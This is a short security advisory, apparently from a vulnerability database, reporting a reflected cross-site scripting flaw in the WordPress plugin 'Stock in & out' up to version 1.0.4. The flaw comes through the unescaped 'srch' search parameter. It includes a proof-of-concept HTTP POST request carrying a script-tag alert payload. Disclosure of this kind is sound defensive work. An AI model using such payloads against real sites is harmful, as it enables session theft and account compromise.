Stock in & out <= 1.0.4 - Reflected Cross-Site Scripting (XSS)

The plugin has a search functionality, the lowest accessible level to it being contributor. The srch POST parameter is not validated, sanitised or escaped before using it in the echo statement, leading to a reflected XSS issue

PoC

POST /wp-admin/admin.php?page=stock_in HTTP/1.1 Content-Length: 66 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.28.128.50 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: [contributor+] Connection: close srch=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&search;=Search+Product